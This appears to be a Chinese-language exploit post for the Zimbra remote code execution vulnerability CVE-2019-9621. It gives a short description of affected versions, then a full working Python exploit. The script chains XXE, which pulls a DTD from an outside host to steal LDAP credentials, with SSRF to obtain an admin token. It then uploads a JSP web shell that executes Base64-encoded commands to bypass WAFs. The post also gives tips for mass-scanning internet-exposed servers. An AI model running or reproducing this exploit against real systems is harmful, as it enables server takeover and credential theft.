發現時間html |
2019年03月18日java |
威脅目標python |
採用Zimbra郵件系統的企業git |
主要風險github |
遠程代碼執行web |
攻擊入口shell |
localconfig.xml 配置文件緩存 |
使用漏洞bash |
CVE-2019-9621服務器 |
受影響應用 |
ZimbraCollaboration Server 8.8.11 以前的版本都受到影響。 |
已知影響 |
致使服務器信息泄露 |
威脅程度 |
高 |
當 Zimbra 存在像任意文件讀取、XXE(xml外部實體注入)這種漏洞時,攻擊者能夠利用此漏洞讀取 localconfig.xml配置文件,獲取到 zimbra admin ldap password,並經過 7071 admin 端口進行 SOAP AuthRequest 認證,獲得 admin authtoken漏洞是利用XXE和ProxyServlet SSRF 漏洞拿到 admin authtoken 後,經過文件上傳在服務端執行任意代碼,威脅程度極高。當Zimbra服務端打來Memcached緩存服務是,能夠利用SSRF攻擊進行反序列化執行遠程代碼。不過因爲Zimbra在單服務器安裝中儘管Memcached雖然啓動可是並無進行使用,因此其攻擊場景受到限制。
影響版本:
ZimbraCollaboration Server 8.8.11 以前的版本都受到影響。具體來講:
1. Zimbra < 8.7.11 版本中,攻擊者能夠在無需登陸的狀況下,實現遠程代碼執行。
2. Zimbra < 8.8.11 版本中,在服務端使用 Memcached 作緩存的狀況下,通過登陸認證後的攻擊者能夠實現遠程代碼執行。
GetShell代碼
#coding=utf8 import requests import sys from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) base_url=sys.argv[1] base_url=base_url.rstrip("/") #upload file name and content #modify by k8gege #Connect "shell.jsp" using K8fly CmdShell #Because the CMD parameter is encrypted using Base64(bypass WAF) filename = "shell.jsp" fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>' print(base_url) #dtd file url dtd_url="https://k8gege.github.io/zimbra.dtd" """ <!ENTITY % file SYSTEM "file:../conf/localconfig.xml"> <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>"> """ xxe_data = r"""<!DOCTYPE Autodiscover [ <!ENTITY % dtd SYSTEM "{dtd}"> %dtd; %all; ]> <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"> <Request> <EMailAddress>aaaaa</EMailAddress> <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema> </Request> </Autodiscover>""".format(dtd=dtd_url) #XXE stage headers = { "Content-Type":"application/xml" } print("[*] Get User Name/Password By XXE ") r = requests.post(base_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15) #print r.text if 'response schema not available' not in r.text: print("have no xxe") exit() #low_token Stage import re pattern_name = re.compile(r"<key name=(\"|")zimbra_user(\"|")>\n.*?<value>(.*?)<\/value>") pattern_password = re.compile(r"<key name=(\"|")zimbra_ldap_password(\"|")>\n.*?<value>(.*?)<\/value>") username = pattern_name.findall(r.text)[0][2] password = pattern_password.findall(r.text)[0][2] print(username) print(password) auth_body="""<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"> <soap:Header> <context xmlns="urn:zimbra"> <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/> </context> </soap:Header> <soap:Body> <AuthRequest xmlns="{xmlns}"> <account by="adminName">{username}</account> <password>{password}</password> </AuthRequest> </soap:Body> </soap:Envelope> """ print("[*] Get Low Privilege Auth Token") r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns="urn:zimbraAccount",username=username,password=password),verify=False) pattern_auth_token=re.compile(r"<authToken>(.*?)</authToken>") low_priv_token = pattern_auth_token.findall(r.text)[0] #print(low_priv_token) # SSRF+Get Admin_Token Stage headers["Cookie"]="ZM_ADMIN_AUTH_TOKEN="+low_priv_token+";" headers["Host"]="foo:7071" print("[*] Get Admin Auth Token By SSRF") r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns="urn:zimbraAdmin",username=username,password=password),headers=headers,verify=False) admin_token =pattern_auth_token.findall(r.text)[0] #print("ADMIN_TOKEN:"+admin_token) f = { 'filename1':(None,"whocare",None), 'clientFile':(filename,fileContent,"text/plain"), 'requestId':(None,"12",None), } headers ={ "Cookie":"ZM_ADMIN_AUTH_TOKEN="+admin_token+";" } print("[*] Uploading file") r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False) #print(r.text) print("Shell: "+base_url+"/downloads/"+filename) #print("Connect \"shell.jsp\" using K8fly CmdShell\nBecause the CMD parameter is encrypted using Base64(bypass WAF)") print("[*] Request Result:") s = requests.session() r = s.get(base_url+"/downloads/"+filename,verify=False,headers=headers) #print(r.text) print("May need cookie:") print(headers['Cookie'])
配合Cscan使用(批量使用url.txt)
Cscan.ini配置以下
Cscan掃禁ping機器需加nocheck參數
鍾馗之眼隨便抓一些Zimbra來測試,發現成功率高達90%
下載
EXP: https://github.com/k8gege/K8tools/blob/master/Zimbra_Rce.py